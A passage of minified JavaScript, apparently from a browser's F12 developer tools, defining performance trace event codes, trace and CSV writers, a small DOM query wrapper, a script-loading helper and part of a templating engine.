Provider_Update_Stop=432]="Console_Intellisense_Provider_Update_Stop";e[e.Console_Intellisense_Provider_Get_Items_Start=433]="Console_Intellisense_Provider_Get_Items_Start";e[e.Console_Intellisense_Provider_Get_Items_Stop=434]="Console_Intellisense_Provider_Get_Items_Stop";e[e.Dom_Window_Create_Start=501]="Dom_Window_Create_Start";e[e.Dom_Window_Create_Stop=502]="Dom_Window_Create_Stop";e[e.Dom_ExpandNode_Start=503]="Dom_ExpandNode_Start";e[e.Dom_ExpandNode_Stop=504]="Dom_ExpandNode_Stop";e[e.Dom_UndoRedo_Start=505]="Dom_UndoRedo_Start";e[e.Dom_UndoRedo_Stop=506]="Dom_UndoRedo_Stop";e[e.Dom_DragDrop_Start=507]="Dom_DragDrop_Start";e[e.Dom_DragDrop_Stop=508]="Dom_DragDrop_Stop";e[e.Dom_AddAttribute_Start=509]="Dom_AddAttribute_Start";e[e.Dom_AddAttribute_Stop=510]="Dom_AddAttribute_Stop";e[e.Dom_Intellisense_Start=511]="Dom_Intellisense_Start";e[e.Dom_Intellisense_Stop=512]="Dom_Intellisense_Stop";e[e.Dom_SelectElement_Start=513]="Dom_SelectElement_Start";e[e.Dom_SelectElement_Stop=514]="Dom_SelectElement_Stop";e[e.Dom_CutElement_Start=515]="Dom_CutElement_Start";e[e.Dom_CutElement_Stop=516]="Dom_CutElement_Stop";e[e.Dom_PasteElement_Start=517]="Dom_PasteElement_Start";e[e.Dom_PasteElement_Stop=518]="Dom_PasteElement_Stop";e[e.Dom_CollapseElement_Start=519]="Dom_CollapseElement_Start";e[e.Dom_CollapseElement_Stop=520]="Dom_CollapseElement_Stop";e[e.Dom_StylesTabLoad_Start=521]="Dom_StylesTabLoad_Start";e[e.Dom_StylesTabLoad_Stop=522]="Dom_StylesTabLoad_Stop";e[e.Dom_StylesTab_Intellisense_Start=523]="Dom_StylesTab_Intellisense_Start";e[e.Dom_StylesTab_Intellisense_Stop=524]="Dom_StylesTab_Intellisense_Stop";e[e.Dom_ComputedTabLoad_Start=527]="Dom_ComputedTabLoad_Start";e[e.Dom_ComputedTabLoad_Stop=528]="Dom_ComputedTabLoad_Stop";e[e.Dom_ChangesTabLoad_Start=529]="Dom_ChangesTabLoad_Start";e[e.Dom_ChangesTabLoad_Stop=530]="Dom_ChangesTabLoad_Stop";e[e.Dom_LayoutTabLoad_Start=531]="Dom_LayoutTabLoad_Start";e[e.Dom_LayoutTabLoad_Stop=532]="Dom_LayoutTabLoad_Stop";e[e.Dom_EventsTabLoad_Start=533]="Dom_EventsTabLoad_Start";e[e.Dom_EventsTabLoad_Stop=534]="Dom_EventsTabLoad_Stop";e[e.Dom_TreeItemCollapse_Start=535]="Dom_TreeItemCollapse_Start";e[e.Dom_TreeItemCollapse_Stop=536]="Dom_TreeItemCollapse_Stop";e[e.Dom_Search_Start=537]="Dom_Search_Start";e[e.Dom_Search_Stop=538]="Dom_Search_Stop";e[e.Dom_RemoteInjection_Start=539]="Dom_RemoteInjection_Start";e[e.Dom_RemoteInjection_Stop=540]="Dom_RemoteInjection_Stop";e[e.Dom_EnterEditAsHtml_Start=541]="Dom_EnterEditAsHtml_Start";e[e.Dom_EnterEditAsHtml_Stop=542]="Dom_EnterEditAsHtml_Stop";e[e.Dom_CommitEditAsHtml_Start=543]="Dom_CommitEditAsHtml_Start";e[e.Dom_CommitEditAsHtml_Stop=544]="Dom_CommitEditAsHtml_Stop";e[e.Dom_CommitEditAttribute_Start=545]="Dom_CommitEditAttribute_Start";e[e.Dom_CommitEditAttribute_Stop=546]="Dom_CommitEditAttribute_Stop";e[e.Dom_ShowColorPicker_Start=547]="Dom_ShowColorPicker_Start";e[e.Dom_ShowColorPicker_Stop=548]="Dom_ShowColorPicker_Stop";e[e.Dom_HideColorPicker_Start=549]="Dom_HideColorPicker_Start";e[e.Dom_HideColorPicker_Stop=550]="Dom_HideColorPicker_Stop";e[e.Dom_SetColorUsingColorPicker_Start=551]="Dom_SetColorUsingColorPicker_Start";e[e.Dom_SetColorUsingColorPicker_Stop=552]="Dom_SetColorUsingColorPicker_Stop";e[e.Emulation_Window_Create_Start=601]="Emulation_Window_Create_Start";e[e.Emulation_Window_Create_Stop=602]="Emulation_Window_Create_Stop";e[e.Generic_Debug_1_Start=701]="Generic_Debug_1_Start";e[e.Generic_Debug_1_Stop=702]="Generic_Debug_1_Stop";e[e.Generic_Debug_2_Start=703]="Generic_Debug_2_Start";e[e.Generic_Debug_2_Stop=704]="Generic_Debug_2_Stop";e[e.Generic_Debug_3_Start=705]="Generic_Debug_3_Start";e[e.Generic_Debug_3_Stop=706]="Generic_Debug_3_Stop";e[e.Generic_Debug_4_Start=707]="Generic_Debug_4_Start";e[e.Generic_Debug_4_Stop=708]="Generic_Debug_4_Stop";e[e.Generic_Debug_5_Start=709]="Generic_Debug_5_Start";e[e.Generic_Debug_5_Stop=710]="Generic_Debug_5_Stop";e[e.Generic_Debug_6_Start=711]="Generic_Debug_6_Start";e[e.Generic_Debug_6_Stop=712]="Generic_Debug_6_Stop";e[e.Generic_Debug_7_Start=713]="Generic_Debug_7_Start";e[e.Generic_Debug_7_Stop=714]="Generic_Debug_7_Stop";e[e.Generic_Debug_8_Start=715]="Generic_Debug_8_Start";e[e.Generic_Debug_8_Stop=716]="Generic_Debug_8_Stop";e[e.Generic_Debug_9_Start=717]="Generic_Debug_9_Start";e[e.Generic_Debug_9_Stop=718]="Generic_Debug_9_Stop";e[e.Header_InitializeTabs_Start=801]="Header_InitializeTabs_Start";e[e.Header_InitializeTabs_Stop=802]="Header_InitializeTabs_Stop";e[e.Shell_Load_Start=901]="Shell_Load_Start";e[e.Shell_Load_Stop=902]="Shell_Load_Stop";e[e.Shell_LaunchTool_Start=903]="Shell_LaunchTool_Start";e[e.Shell_LaunchTool_Stop=904]="Shell_LaunchTool_Stop";e[e.Shell_LaunchTool_Header_Start=905]="Shell_LaunchTool_Header_Start";e[e.Shell_LaunchTool_Header_Stop=906]="Shell_LaunchTool_Header_Stop";e[e.Shell_LaunchTool_Network_Start=907]="Shell_LaunchTool_Network_Start";e[e.Shell_LaunchTool_Network_Stop=908]="Shell_LaunchTool_Network_Stop";e[e.Shell_LaunchTool_Profiler_Start=909]="Shell_LaunchTool_Profiler_Start";e[e.Shell_LaunchTool_Profiler_Stop=910]="Shell_LaunchTool_Profiler_Stop";e[e.Shell_LaunchTool_Console_Start=911]="Shell_LaunchTool_Console_Start";e[e.Shell_LaunchTool_Console_Stop=912]="Shell_LaunchTool_Console_Stop";e[e.Shell_LaunchTool_Dom_Start=913]="Shell_LaunchTool_Dom_Start";e[e.Shell_LaunchTool_Dom_Stop=914]="Shell_LaunchTool_Dom_Stop";e[e.Shell_LaunchTool_Debugger_Start=915]="Shell_LaunchTool_Debugger_Start";e[e.Shell_LaunchTool_Debugger_Stop=916]="Shell_LaunchTool_Debugger_Stop";e[e.Shell_LaunchTool_Emulation_Start=917]="Shell_LaunchTool_Emulation_Start";e[e.Shell_LaunchTool_Emulation_Stop=918]="Shell_LaunchTool_Emulation_Stop";e[e.Shell_LaunchTool_MemoryAnalyzer_Start=921]="Shell_LaunchTool_MemoryAnalyzer_Start";e[e.Shell_LaunchTool_MemoryAnalyzer_Stop=922]="Shell_LaunchTool_MemoryAnalyzer_Stop";e[e.Shell_LaunchTool_VisualProfiler_Start=923]="Shell_LaunchTool_VisualProfiler_Start";e[e.Shell_LaunchTool_VisualProfiler_Stop=924]="Shell_LaunchTool_VisualProfiler_Stop";e[e.Shell_LaunchTool_Popup_Start=925]="Shell_LaunchTool_Popup_Start";e[e.Shell_LaunchTool_Popup_Stop=926]="Shell_LaunchTool_Popup_Stop";e[e.Shell_ShowTool_Network_Start=927]="Shell_ShowTool_Network_Start";e[e.Shell_ShowTool_Network_Stop=928]="Shell_ShowTool_Network_Stop";e[e.Shell_ShowTool_Profiler_Start=929]="Shell_ShowTool_Profiler_Start";e[e.Shell_ShowTool_Profiler_Stop=930]="Shell_ShowTool_Profiler_Stop";e[e.Shell_ShowTool_Console_Start=931]="Shell_ShowTool_Console_Start";e[e.Shell_ShowTool_Console_Stop=932]="Shell_ShowTool_Console_Stop";e[e.Shell_ShowTool_Dom_Start=933]="Shell_ShowTool_Dom_Start";e[e.Shell_ShowTool_Dom_Stop=934]="Shell_ShowTool_Dom_Stop";e[e.Shell_ShowTool_Debugger_Start=935]="Shell_ShowTool_Debugger_Start";e[e.Shell_ShowTool_Debugger_Stop=936]="Shell_ShowTool_Debugger_Stop";e[e.Shell_ShowTool_Emulation_Start=937]="Shell_ShowTool_Emulation_Start";e[e.Shell_ShowTool_Emulation_Stop=938]="Shell_ShowTool_Emulation_Stop";e[e.Shell_ShowTool_Popup_Start=939]="Shell_ShowTool_Popup_Start";e[e.Shell_ShowTool_Popup_Stop=940]="Shell_ShowTool_Popup_Stop";e[e.Shell_ShowTool_MemoryAnalyzer_Start=941]="Shell_ShowTool_MemoryAnalyzer_Start";e[e.Shell_ShowTool_MemoryAnalyzer_Stop=942]="Shell_ShowTool_MemoryAnalyzer_Stop";e[e.Shell_ShowTool_VisualProfiler_Start=943]="Shell_ShowTool_VisualProfiler_Start";e[e.Shell_ShowTool_VisualProfiler_Stop=944]="Shell_ShowTool_VisualProfiler_Stop";e[e.Shell_LaunchTool_Elements_Start=945]="Shell_LaunchTool_Elements_Start";e[e.Shell_LaunchTool_Elements_Stop=946]="Shell_LaunchTool_Elements_Stop";e[e.Shell_ShowTool_Elements_Start=947]="Shell_ShowTool_Elements_Start";e[e.Shell_ShowTool_Elements_Stop=948]="Shell_ShowTool_Elements_Stop";e[e.Debugger_OpenDocument_Start=308]="Debugger_OpenDocument_Start";e[e.Debugger_OpenDocument_Stop=309]="Debugger_OpenDocument_Stop";e[e.Debugger_SwitchDocument_Start=312]="Debugger_SwitchDocument_Start";e[e.Debugger_SwitchDocument_Stop=313]="Debugger_SwitchDocument_Stop"}(t=e.TraceEvents||(e.TraceEvents={}))}(Common||(Common={}));!function(e){"use strict";class t{raiseEvent(e){}raiseEventWithMessage(e,t){}raiseEventWithKey(e,t,i){}}e.DefaultTraceWriter=t;class i{constructor(e){!e&&Microsoft&&Microsoft.Plugin&&Microsoft.Plugin.F12&&(e=Microsoft.Plugin.F12.TraceWriter);this._performanceTracer=e}raiseEventWithKey(e,t,i){this._performanceTracer&&this._performanceTracer.raiseEventWithKey(e,t,i)}raiseEventWithMessage(e,t){this._performanceTracer&&this._performanceTracer.raiseEvent(e,t)}raiseEvent(e){this.raiseEventWithMessage(e,"")}}e.TraceWriter=i}(Common||(Common={}));!function(e){"use strict";class t{static toCSV(e,i){var s=[];s.push(t.writeRecord(e));var n=i.map(i=>t.writeRecord(e.map(e=>i[e])));return(s=s.concat(n)).join("\r\n")}static writeRecord(e){return e.map(e=>t.writeValue(e)).join(",")}static writeValue(e){return null===e||void 0===e?"":(e=String(e)).indexOf('"')>=0||e.indexOf(",")>=0?'"'+e.replace('"','""')+'"':e}}e.CSVWriter=t}(Common||(Common={}));function $m(e){if("string"==typeof e){var t,i=e.match(/<(\w+?)>/);if(i)return new $mList("",document.createElement(i[1]));t=document.querySelectorAll(e);return new $mList(e,t)}return new $mList("",e)}class $mList{constructor(e,t){this.selector=e;if(null===t)this._array=[];else if(void 0!==t.length){this._array=[];for(var i=t,s=i.length,n=0;n<s;n++)this._array.push(new $mNode(i[n]))}else this._array=[new $mNode(t)]}get length(){return this._array.length}is(e){if(":hidden"===e){for(var t=0;t<this.length;t++)if(!this._array[t].is(":hidden"))return!1;return!0}if(":visible"===e)return!this.is(":hidden");throw"$mNode.is(s: string) : boolean - can only be called with :hidden or :visible"}scrollTop(e){if(0!==this.length)return this._array[0].scrollTop()}scrollLeft(e){if(0!==this.length)return this._array[0].scrollLeft()}data(e,t){if(0!==this.length)return this._array[0].data(e,t)}attr(e,t){if(0!==this.length){if(void 0!==t){for(var i=0;i<this.length;i++)this._array[i].setAttr(e,t);return this}return this._array[0].attr(e)}}removeAttr(e){for(var t=0;t<this.length;t++)this._array[t].removeAttr(e);return this}matchAttr(e,t){for(var i=new $mList(this.selector+" → matchAttr",null),s=this.length,n=0;n<s;n++){var o=this._array[n];o.matchAttr(e,t)&&i.push(o)}return i}addClass(e){for(var t=0;t<this.length;t++)this._array[t].addClass(e);return this}removeClass(e){for(var t=this.length,i=0;i<t;i++)this._array[i].removeClass(e);return this}hasClass(e){for(var t=0;t<this.length;t++)if(this._array[t].hasClass(e))return!0;return!1}hide(){for(var e=this.length,t=0;t<e;t++)this._array[t].hide();return this}show(){for(var e=this.length,t=0;t<e;t++)this._array[t].show();return this}placeholder(e){for(var t=this.length,i=0;i<t;i++)this._array[i].placeholder(e);return this}focus(){this.length>=1&&this._array[0].focus();return this}text(e){if(void 0===e)return this.length>0?this._array[0].text():void 0;for(var t=this.length,i=0;i<t;i++)this._array[i].text(e);return this}html(e){if(void 0===e)return this.length>0?this._array[0].html():void 0;for(var t=this.length,i=0;i<t;i++)this._array[i].html(e);return this}each(e){for(var t=this.length,i=0;i<t;i++)e.call(this._array[i].get(),i,this._array[i].get())}parent(e){if(void 0!==e){if(!$mList.isClassSelector(e))return;e=e.substr(1)}for(var t=new $mList(this.selector+" → parent",null),i=this.length,s=0;s<i;s++){var n=this._array[s].parent(e);n&&t.push(n)}return t}parents(e){if($mList.isClassSelector(e)){e=e.substr(1);for(var t=new $mList(this.selector+" → parents",null),i=this.length,s=0;s<i;s++){var n=this._array[s].parents(e);if(n&&n.length)for(var o=0;o<n.length;o++)t.push(n[o])}return t}}children(e){if(void 0!==e){if(!$mList.isClassSelector(e))return;e=e.substr(1)}for(var t=new $mList(this.selector+" → children",null),i=this.length,s=0;s<i;s++)for(var n=this._array[s].get().firstChild;n;){if(1===n.nodeType){var o=new $mNode(n);(void 0===e||o.hasClass(e))&&t.push(o)}n=n.nextSibling}return t}siblings(e){if(void 0!==e){if(!$mList.isClassSelector(e))return;e=e.substr(1)}for(var t=new $mList(this.selector+" → siblings",null),i=this.length,s=0;s<i;s++)for(var n=this._array[s].get(),o=this._array[s].get().parentNode.firstChild;o;){if(1===o.nodeType&&o!==n){var r=new $mNode(o);(void 0===e||r.hasClass(e))&&t.push(r)}o=o.nextSibling}return t}next(e){if(void 0!==e){if(!$mList.isClassSelector(e))return;e=e.substr(1)}for(var t=new $mList(this.selector+" → next",null),i=this.length,s=0;s<i;s++)for(var n=this._array[s].get().nextSibling;n;){var o=new $mNode(n);if(void 0===e||o.hasClass(e)){t.push(o);return t}n=n.nextSibling}return t}prev(e){if(void 0!==e){if(!$mList.isClassSelector(e))return;e=e.substr(1)}for(var t=new $mList(this.selector+" → prev",null),i=this.length,s=0;s<i;s++)for(var n=this._array[s].get().previousSibling;n;){var o=new $mNode(n);if(void 0===e||o.hasClass(e)){t.push(o);return t}n=n.previousSibling}return t}appendTo(e){if(1===e.length)for(var t=this.length,i=e.get(0),s=0;s<t;s++)i.appendChild(this.get(s));return this}after(e){if(e.length>0)for(var t=this.length,i=0;i<t;i++){var s=this.get(i),n=s.parentNode;if(s.nextSibling)for(var o=0;o<e.length;o++)n.insertBefore(e.get(o),s.nextSibling);else for(o=0;o<e.length;o++)n.appendChild(e.get(o))}return this}not(e){if($mList.isClassSelector(e)){e=e.substr(1);for(var t=new $mList(this.selector+" → not",null),i=this.length,s=0;s<i;s++){var n=this._array[s];n.hasClass(e)||t.push(n)}return t}}slice(e,t){var i=new $mList(this.selector+" → slice",null),s=this.length;(void 0===t||t>s)&&(t=s);for(var n=e;n<t;n++){var o=this._array[n];i.push(o)}return i}closest(e){for(var t=e.split(/[ ,]+/),i=0;i<t.length;i++){if(!$mList.isClassSelector(t[i]))return;t[i]=t[i].substr(1)}for(var s=new $mList(this.selector+" → closest",null),n=this.length,o=0;o<n;o++){var r=this._array[o].closest(t);r&&s.push(r)}return s}find(e){for(var t=new $mList(this.selector+" → find",null),i=this.length,s=0;s<i;s++){var n=this._array[s].get().querySelectorAll(e);if(n)for(var o=0,r=n.length;o<r;o++)t.push(new $mNode(n[o]))}return t}remove(){for(var e=new $mList(this.selector+" → remove",null),t=this.length,i=0;i<t;i++)this._array[i].remove();return e}prepend(e){if(e.length>0)for(var t=this.length,i=0;i<t;i++)for(var s=e.length-1;s>=0;s--)this._array[i].prepend(e._array[s].get());return this}append(e){if(e.length>0)for(var t=this.length,i=0;i<t;i++)for(var s=0;s<e.length;s++)this._array[i].append(e._array[s].get());return this}appendText(e){for(var t=this.length,i=0;i<t;i++){this._array[i].append(document.createTextNode(e))}return this}replaceWith(e){var t=this.length;if(t>0&&1===e.length)for(var i=0;i<t;i++)this._array[i].replaceWith(e._array[0]);return this}select(){for(var e=this.length,t=0;t<e;t++)this._array[t].select();return this}val(e){var t=this.length;if(void 0!==e){for(var i=0;i<t;i++)this._array[i].val(e);return this}if(0!==t)return this._array[0].val(e)}css(e,t){var i=this.length;if(void 0!==t){for(var s=0;s<i;s++)this._array[s].css(e,t);return this}if(0!==i)return this._array[0].css(e)}click(){for(var e=this.length,t=0;t<e;t++)this._array[t].click();return this}bindTarget(e,t,i,s){return this.changeBinding(e,!0,t,i,s)}bind(e,t,i){return this.changeBinding(void 0,!0,e,t,i)}unbind(e,t){return this.changeBinding(void 0,!1,e,t)}trigger(e,t){for(var i=e.split(" "),s=this.length,n=0;n<s;n++)for(var o=0;o<i.length;o++){var r=i[o];$mList.DomEvents.indexOf(r)>=0?this._array[n].triggerEvent(r,t):this._array[n].triggerSpecial(r,t)}return this}get(e){e<0&&(e+=this.length);return e>=this.length||e<0?null:this._array[e].get()}first(){var e=new $mList(this.selector+" → first",null);this.length>0&&e.push(this._array[0]);return e}last(){var e=new $mList(this.selector+" → last",null);this.length>0&&e.push(this._array[this.length-1]);return e}position(){if(this.length>0)return this._array[0].position()}height(){if(this.length>0)return this._array[0].height()}outerHeight(e){if(this.length>0)return this._array[0].outerHeight(e)}width(){if(this.length>0)return this._array[0].width()}outerWidth(e){if(this.length>0)return this._array[0].outerWidth(e)}static isClassSelector(e){return"."===e[0]&&(-1===e.indexOf(",")&&(-1===e.indexOf("#")&&(-1===e.indexOf(">")&&(-1===e.indexOf(" ")&&-1===e.indexOf("[")))))}push(e){this._array.push(e)}changeBinding(e,t,i,s,n){for(var o=i.split(" "),r=this.length,a=0;a<r;a++)for(var l=0;l<o.length;l++){var h=o[l];$mList.DomEvents.indexOf(h)>=0?this._array[a].changeEventBinding(t,e,h,s,n):this._array[a].changeSpecialBinding(t,e,h,s,n)}return this}}$mList.DomEvents=["click","dblclick","mousedown","mouseup","mousemove","mouseover","mouseout","contextmenu","focus","blur","focusin","focusout","keydown","keyup","keypress","change","reset","select","submit"];class $mNode{constructor(e){this.length=1;this._node=e}get(){return this._node}is(e){if(!(this._node instanceof HTMLElement))throw"$mNode.is(s: string) : boolean - can only be called on HTML elements";var t=this._node;if(":hidden"===e)return"none"===t.style.display;if(":visible"===e)return"none"!==t.style.display;throw"$mNode.is(s: string) : boolean - can only be called with :hidden or :visible"}hide(){if(!(this._node instanceof HTMLElement||this._node instanceof SVGElement))throw"$mNode.hide(): IQueryNode - can only be called on HTML or SVG elements";this._node.style.display="none";return this}show(){if(!(this._node instanceof HTMLElement||this._node instanceof SVGElement))throw"$mNode.show(): IQueryNode - can only be called on HTML or SVG elements";var e=this._node;e.style.display="";"none"===e.ownerDocument.defaultView.getComputedStyle(e,null).display&&(e.style.display="block");return this}placeholder(e){if(!(this._node instanceof HTMLInputElement))throw"$mNode.placeholder(s: string): IQueryNode - can only be called on HTMLInput elements";this._node.placeholder=e;return this}focus(){this._node.focus();return this}scrollTop(e){if(!(this._node instanceof HTMLElement))throw"$mNode.scrollTop(value?: number): number - can only be called on HTML elements";var t=this._node;if(void 0!==e)return t.scrollTop;t.scrollTop=e;return e}addClass(e){if(!(this._node instanceof HTMLElement))throw"$mNode.addClass(className: string) - can only be called on HTML elements";var t=this._node;t.classList.contains(e)||t.classList.add(e)}removeClass(e){if(!(this._node instanceof HTMLElement))throw"$mNode.removeClass(className: string) - can only be called on HTML elements";var t=this._node;t.classList.contains(e)&&t.classList.remove(e)}hasClass(e){if(!(this._node instanceof HTMLElement))return!1;var t=this._node;return t.classList&&t.classList.contains(e)}scrollLeft(e){if(!(this._node instanceof Element))throw"$mNode.scrollLeft(value?: number): number - can only be called on Elements";var t=this._node;if(void 0!==e)return t.scrollLeft;t.scrollLeft=e;return e}data(e,t){var i=this._node[$mNode.DATA_KEY];i||(this._node[$mNode.DATA_KEY]=i={});if(void 0===e)return i;if(void 0===t)return i[e];i[e]=t;return i}attr(e){if(!(this._node instanceof Element))throw"$mNode.attr(attributeName: string): string - can only be called on Elements";var t=this._node,i=t[e];void 0===i&&(i=t.getAttribute(e));return null===i?void 0:i}removeAttr(e){if(!(this._node instanceof Element))throw"$mNode.removeAttr(attributeName: string): string - can only be called on Elements";this._node.removeAttribute(e)}matchAttr(e,t){if(!(this._node instanceof Element))throw"$mNode.matchAttr(attributeName: string, value: string) - can only be called on Elements";return this._node.getAttribute(e)===t}setAttr(e,t){if(!(this._node instanceof Element))throw"$mNode.setAttr(attributeName: string, setValue: any): void - can only be called on Elements";this._node.setAttribute(e,t)}parent(e){if(this._node instanceof HTMLElement){var t=this._node.parentNode;return void 0===e||t.classList.contains(e)?new $mNode(t):void 0}}parents(e){if(!(this._node instanceof HTMLElement))throw"$mNode.parents(s: string): IQueryNode - can only be called on HTML elements";for(var t=this._node,i=[];t.parentNode instanceof HTMLElement;){(t=t.parentNode).classList.contains(e)&&i.push(new $mNode(t))}return i}text(e){if(!(this._node instanceof HTMLElement))throw"$mNode.text(s?: string): string - can only be called on HTML elements";var t=this._node;if(void 0===e)return t.innerText;t.innerText=e;return e}html(e){if(!(this._node instanceof HTMLElement))throw"$mNode.html(htmlString?: string): string - can only be called on HTML elements";var t=this._node;if(void 0===e)return t.innerHTML;t.innerHTML=e;return e}remove(){this._node.parentNode&&this._node.parentNode.removeChild(this._node)}prepend(e){this._node.insertBefore(e,this._node.firstChild)}append(e){this._node.appendChild(e)}replaceWith(e){var t=this._node.parentNode;if(t){var i=this._node.nextSibling;t.removeChild(this._node);var s=e._node;i?t.insertBefore(s,i):t.appendChild(s)}}select(){if(!(this._node instanceof HTMLElement))throw"$mNode.select() - can only be called on HTML elements";this._node.select()}val(e){if(!(this._node instanceof HTMLInputElement))throw"$mNode.val(): string - can only be called on HTMLInput elements";var t=this._node;if(void 0===e){var i=t.value;return"string"==typeof i?i.replace(/\r/g,""):void 0===i||null===i?"":i}t.value=e}closest(e){for(var t=this._node;t;){if(t.classList)for(var i=0;i<e.length;i++)if(t.classList.contains(e[i]))return new $mNode(t);t=t.parentNode}}css(e,t){if(!e||"object"!=typeof e){n=e;var i=this._node;void 0!==t&&(i.style[n]=t);return i.style?i.style[n]:void 0}var s=e;for(var n in s)this.css(n,s[n])}click(){if(!(this._node instanceof HTMLElement))throw"$mNode.click(): IQueryNode - can only be called on HTML elements";this._node.click();return this}changeEventBinding(e,t,i,s,n){var o,r,a=this._node,l="on"+i,h=a[l],d=h&&h.boundFuncList?h.boundFuncList:[];e?d.push(s):s?(r=d.indexOf(s))>=0&&d.splice(r,1):d=[];if(d.length){void 0===t&&(t=a);(o=(e=>{var i,s=!0;for(i=0;i<d.length;i++){var o=d[i].call(t,e,n);if(!o&&"boolean"==typeof o){e.preventDefault();e.stopPropagation();s=!1}}return s})).boundFuncList=d}a[l]=o;return this}triggerEvent(e,t){var i=this._node,s=i[e];s&&s.call(i,{},t);return this}changeSpecialBinding(e,t,i,s,n){this._node[$mNode.BINDING_KEY+i]=e?s:void 0;return this}triggerSpecial(e,t){var i=this._node,s=i[$mNode.BINDING_KEY+e];s&&s.call(i,{},t);return this}position(){var e=this._node;return{top:e.offsetTop,left:e.offsetLeft}}height(){var e=this._node,t=e.getBoundingClientRect().height,i=window.getComputedStyle(e,null);t-=parseInt(i.paddingTop,10);t-=parseInt(i.paddingBottom,10);t-=parseInt(i.borderTopWidth,10);return t-=parseInt(i.borderBottomWidth,10)}outerHeight(e){var t=this._node,i=t.getBoundingClientRect().height;if(e){var s=window.getComputedStyle(t,null);i+=parseInt(s.marginTop,10);i+=parseInt(s.marginBottom,10)}return i}width(){var e=this._node,t=e.getBoundingClientRect().width,i=window.getComputedStyle(e,null);t-=parseInt(i.paddingLeft,10);t-=parseInt(i.paddingRight,10);t-=parseInt(i.borderLeftWidth,10);return t-=parseInt(i.borderRightWidth,10)}outerWidth(e){var t=this._node,i=t.getBoundingClientRect().width;if(e){var s=window.getComputedStyle(t,null);i+=parseInt(s.marginLeft,10);i+=parseInt(s.marginRight,10)}return i}}$mNode.BINDING_KEY="$BPT$Binding$";$mNode.DATA_KEY="$BPT$QueryData$";class DataTreeView{static getChildren(e){return e.hasClass("BPT-DataTree-Container")?e.children().first().children(".BPT-DataTreeItem-ChildCollection").children(".BPT-DataTreeItem"):e.children(".BPT-DataTreeItem-ChildCollection").children(".BPT-DataTreeItem")}static getName(e){var t=e.find("span.BPT-DataTreeItem-Name").first(),i=t.children(".BPT-HTML-CSS-Name");return 1===i.length?i:t}static getValue(e){var t=e.find("span.BPT-DataTreeItem-Value").first(),i=t.children(".BPT-HTML-CSS-Value");return 1===i.length?i:t}static clear(e){e.children(".BPT-DataTreeItem-ChildCollection").remove();e.hasClass("BPT-DataTree-Container")&&e.children().first().children(".BPT-DataTreeItem-ChildCollection").remove();return e}}!function(e){"use strict";class t{main(){this.onStartup()}onStartup(){}static fetchTextFileAsync(e){return new Promise((t,i)=>{let s=new XMLHttpRequest;s.open("GET",e,!0);s.onload=(()=>{t(s.responseText)});s.onerror=(()=>{i(new Error(`XHR retrieval failed with status code ${s.status}.`))});s.ontimeout=(()=>{i(new Error("XHR retrieval failed due to timeout."))});s.onabort=(()=>{i(new Error("XHR retrieval failed due to abort."))});s.send()})}static async loadFileAsync(e,i){const s=await t.fetchTextFileAsync(i);F12.Host.ExternalApis.loadScriptInProc(e,i,s)}static async loadScriptsIntoEngineAsync(e,i){const s=await Promise.all(i.map(t.fetchTextFileAsync));for(let t=0;t<s.length;t++){const n=i[t],o=s[t];F12.Host.ExternalApis.loadScriptInProc(e,n,o)}}}e.App=t}(Common||(Common={}));!function(e){!function(e){"use strict";class t{constructor(e,t,i,s,n,o){this.firstIndex=e;this.lastIndex=t;this.content=i;this.isFromComplexBlock=s;this.isStart=n;this.rangeType=o}}e.Range=t}(e.Templating||(e.Templating={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{findRanges(e){var t=[];if(!e||0===e.length)return t;(t=(t=(t=(t=(t=t.concat(this.internalFindRanges("##forEach(",")##",e,"forEach",!0))).concat(this.internalFindRanges("##endForEach##",null,e,"forEach",!1))).concat(this.internalFindRanges("##if(",")##",e,"if",!0))).concat(this.internalFindRanges("##endIf##",null,e,"if",!1))).concat(this.internalFindRanges("##include(",")##",e,"include",!1))).sort(this.compareRanges);(t=t.concat(this.findRemainingRanges(e,t))).sort(this.compareRanges);return t}compareRanges(e,t){return e.firstIndex===t.firstIndex?0:e.firstIndex<t.firstIndex?-1:1}internalFindRanges(t,i,s,n,o){for(var r,a,l,h,d=0,c=[];d<s.length;){r=s.indexOf(t,d);a=null;l=null;h=null;if(-1===r)return c;if(i){if((d=r+t.length+1)>=s.length)return c;if(-1===(a=s.indexOf(i,d)))return c;l=s.substring(r+t.length,a);h=a+i.length-1}else h=r+t.length-1;c.push(new e.Range(r,h,l,!0,o,n));d=c[c.length-1].lastIndex+1}return c}findRemainingRanges(t,i){var s=[];if(0===i.length){s.push(new e.Range(0,t.length-1,t,!1,!1,"text"));return s}for(var n,o=0,r=0;r<i.length;r++){(n=i[r].firstIndex-o)>0&&s.push(new e.Range(o,o+n-1,t.substring(o,o+n),!1,!1,"text"));o=i[r].lastIndex+1}o<t.length-1&&s.push(new e.Range(o,t.length-1,t.substring(o,t.length),!1,!1,"text"));return s}}e.RangeFinder=t}(e.Templating||(e.Templating={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{constructor(){this.blocks=[]}addBlock(e){this.blocks.push(e)}process(e,t){return""}}e.Block=t}(e.Templating||(e.Templating={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t extends e.Block{constructor(e,t){super();this._negate=!1;this._useCapabilities=!1;this._decisionVariable=e.content;if("!"===this._decisionVariable[0]){this._negate=!0;this._decisionVariable=this._decisionVariable.substr(1)}if("@"===this._decisionVariable[0]){this._useCapabilities=!0;this._decisionVariable=this._decisionVariable.substr(1)}this.containerType="if"}process(e,t){var i="",s=(this._useCapabilities?t:e)[this._decisionVariable];if("function"==typeof s){s=s.call(e)}this._negate&&(s=!s);if(s)for(var n=0;n<this.blocks.length;n++)i+=this.blocks[n].process(e,t);return i}}e.IfBlock=t}(e.Templating||(e.Templating={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t extends e.Block{constructor(e,t){super();this._iterationVariable=e.content;this.containerType="forEach"}process(e,t){var i="",s=e[this._iterationVariable];if(s){var n,o;for(n=0;n<s.length;n++){var r=s[n];for(o=0;o<this.blocks.length;o++)i+=this.blocks[o].process(r,t)}}return i}}e.ForEachBlock=t}(e.Templating||(e.Templating={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t extends e.Block{constructor(e){super();this._text=e.content;this.containerType="text"}process(e){for(var i,s=this._text;i=this.findNextDelimitedString(s);){var n="",o=e;i.substring(t.DelimiterLength,i.length-t.DelimiterLength).split(".").forEach((e,t,i)=>{o&&(o=o[e])});void 0!==o&&null!==o&&(n="string"==typeof 